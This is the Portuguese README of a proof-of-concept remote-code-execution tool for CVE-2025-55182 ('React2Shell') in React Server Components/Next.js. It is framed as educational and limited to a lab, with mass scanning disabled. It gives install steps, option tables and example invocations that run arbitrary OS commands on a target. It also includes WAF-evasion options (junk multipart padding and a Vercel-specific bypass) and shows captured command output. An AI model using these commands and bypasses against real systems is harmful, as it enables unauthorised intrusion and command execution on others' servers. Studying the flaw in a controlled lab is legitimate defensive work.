
Detecção Baseada em Precisão de Vulnerabilidades de Execução Remota de Código em RSC/Next.js (CVE-2025-55182, CVE-2025-66478)
CVE-2025-55182 – PoC de RCE em React Server Components
Cliente de exploração educacional para o laboratório React2Shell da Hidden Investigations.
Este repositório contém uma ferramenta de exploração de prova de conceito (PoC) para um único host da vulnerabilidade React2Shell (CVE-2025-55182), direcionada a aplicações React Server Components / Next.js mal configuradas.
Ela foi projetada para ser usada apenas contra o laboratório React2Shell da Hidden Investigations oficial ou sistemas que você possua / administre explicitamente.
Este projeto é fornecido estritamente para pesquisa educacional e de segurança defensiva:
Ao usar esta ferramenta, você concorda em seguir todas as leis e regulamentos aplicáveis.
whoami por padrão)--waf-bypass, --waf-bypass-size)--vercel-waf-bypass)--insecure, cabeçalhos personalizados)-o/--output, --all-results)requestsInstale as dependências com:
pip install -r requirements.txt
git clone https://github.com/hidden-investigations/react2shell-poc.git
cd react2shell-poc
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 react2shell-scanner.py -h
Ajuda básica:
python3 react2shell-scanner.py -h
A ferramenta requer uma URL de destino:
python3 react2shell-scanner.py -t http://localhost:3000 -c "id"
# or
python3 react2shell-scanner.py --url http://localhost:3000 -c "id"
Se você executá-la sem -t/--target ou -u/--url, ela exibe uma mensagem de ajuda com a marca e encerra.
| Opção | Descrição | Padrão |
|---|---|---|
-t, --target | URL ou domínio de destino (obrigatório, a menos que --url seja usado) | Nenhum |
-u, --url | Alias para --target (flag estilo Assetnote) | Nenhum |
--path | Caminho a testar (pode ser usado várias vezes, ex.: /, /_next) | / |
--path-file | Arquivo contendo caminhos a testar (um por linha) | Nenhum |
Nota: Este PoC é apenas para um único host. A opção
-l/--listestá presente, mas intencionalmente desabilitada.
| Opção | Descrição | Padrão |
|---|---|---|
-c, --command | Comando a executar no alvo (quando a exploração tem sucesso) | id |
--safe-check | Usar um payload SAFE_CHECK (sem comando de SO, apenas uma string de marcação) | off |
--windows | Ajustar padrões para alvos Windows (ex.: usar whoami quando o comando é id) | off |
--waf-bypass | Antepor um grande campo multipart de lixo ao corpo da requisição para evasão de WAF | off |
--waf-bypass-size KB | Tamanho do campo de lixo em KB ao usar --waf-bypass | 128 |
--vercel-waf-bypass | Usar um layout multipart alternativo para ajustar o comportamento do WAF da Vercel (PoC simplificado) | off |
| Opção | Descrição | Padrão |
|---|---|---|
--timeout SECONDS | Tempo limite da requisição em segundos | 15 (ou 20 se --waf-bypass e nenhum timeout definido) |
-k, --insecure | Desabilitar verificação SSL (como curl -k) | off |
-H, --header | Cabeçalho personalizado, ex.: -H "X-Forwarded-For: 127.0.0.1" (repetível) | Nenhum |
| Opção | Descrição | Padrão |
|---|---|---|
-o, --output FILE | Escrever os resultados JSON em FILE | Nenhum |
--all-results | Ao usar --output, incluir também resultados não vulneráveis | off |
-v, --verbose | Modo verboso – mostrar o status HTTP e o cabeçalho X-Action-Redirect | off |
-q, --quiet | Modo silencioso – imprime apenas a saída normalizada do comando em caso de sucesso | off |
--no-color | Desabilitar saída colorida no terminal | off |
Exemplo de modo silencioso (saída agradável, multilinha):
python3 react2shell-scanner.py --url http://localhost:3000 -q -c "ls -la"
Output:
total 12
drwxr-xr-x 1 root root 10 Dec 13 21:13 .
drwxr-xr-x 1 root root 0 Dec 13 21:13 ..
drwxr-xr-x 1 nextjs nodejs 12 Dec 13 21:13 .next
drwxr-xr-x 1 nextjs nodejs 396 Dec 13 21:13 node_modules
-rw-r--r-- 1 nextjs nodejs 733 Dec 13 21:13 package.json
drwxr-xr-x 1 root root 12 Dec 13 19:13 public
-rw-r--r-- 1 nextjs nodejs 5661 Dec 13 21:13 server.js
As seguintes flags existem para espelhar a CLI da Assetnote, mas não são implementadas neste PoC para evitar o uso indevido em varredura em massa:
| Opção | Status |
|---|---|
-l, --list | Não implementado |
--threads N | Não implementado |
Se você usar -l/--list, a ferramenta exibirá um aviso e encerrará, sugerindo que use o react2shell-scanner original da Assetnote para varredura segura em larga escala.
Execute contra o laboratório local:
python3 react2shell-scanner.py --url http://localhost:3000 -c "whoami"
Use o bypass de WAF com um campo de lixo maior:
python3 react2shell-scanner.py -t http://localhost:3000 --waf-bypass --waf-bypass-size 256 -c "id"
Múltiplos caminhos no mesmo host:
python3 react2shell-scanner.py -t http://localhost:3000 --path / --path /_next/data -c "id"
Caminhos a partir de arquivo:
python3 react2shell-scanner.py -t http://localhost:3000 --path-file paths.txt -c "id"
Modo de verificação segura (nenhum comando de SO é executado):
python3 react2shell-scanner.py -t http://localhost:3000 --safe-check
Saída JSON dos resultados para um arquivo:
python3 react2shell-scanner.py -t http://localhost:3000 --path / --path /_next -c "id" -o results.json --all-results
Quando -o/--output é usado, a ferramenta grava um array de objetos como:
[
{
"url": "http://localhost:3000/",
"path": "/",
"success": true,
"status": "success",
"output": "uid=1000(nextjs) gid=1000(nodejs) groups=1000(nodejs)",
"http": {
"status_code": 302,
"headers": {
"X-Action-Redirect": "NEXT_REDIRECT;push;/login?a=uid%3D1000%28nextjs%29;307;",
"...": "..."
}
}
}
]
react2shell-scanner.Este projeto está licenciado sob a Licença MIT. Consulte LICENSE para obter detalhes.
📬 Fale conosco: [email protected]